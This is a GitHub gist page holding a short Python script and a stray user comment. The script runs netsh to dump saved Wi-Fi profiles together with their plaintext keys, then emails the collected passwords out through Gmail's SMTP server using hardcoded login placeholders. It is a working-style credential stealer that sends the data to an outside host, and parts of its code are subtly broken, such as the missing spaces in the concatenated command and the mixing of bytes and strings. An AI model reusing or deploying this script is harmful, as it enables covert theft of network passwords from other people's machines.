-
-
Save 1Ernest1/3bcf7e3ee584d9f7fcf570a1421c51e8 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess, smtplib, re | |
def send_mail(email,password,message): | |
server = smtplib.SMTP("smtp.gmail.com" , 587) | |
server.starttls() | |
server.login(email,password) | |
server.sendmail(email,email,message) | |
server.quit() | |
command = "netsh wlan show profile HONOR key=clear" | |
networks = subprocess.check_output(command, shell= True) | |
networks_name_list = re.findall("(?:Profile\s*:\s)(.*)", networks) | |
result = "" | |
for networks_name in networks_name_list: | |
command = "netsh wlan show profile" + networks_name + "key=clear" | |
current_result = subprocess.check_output(command, shell=True) | |
result = result + current_result | |
send_mail(" my email", "my password", result) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Are you facing this error mssg?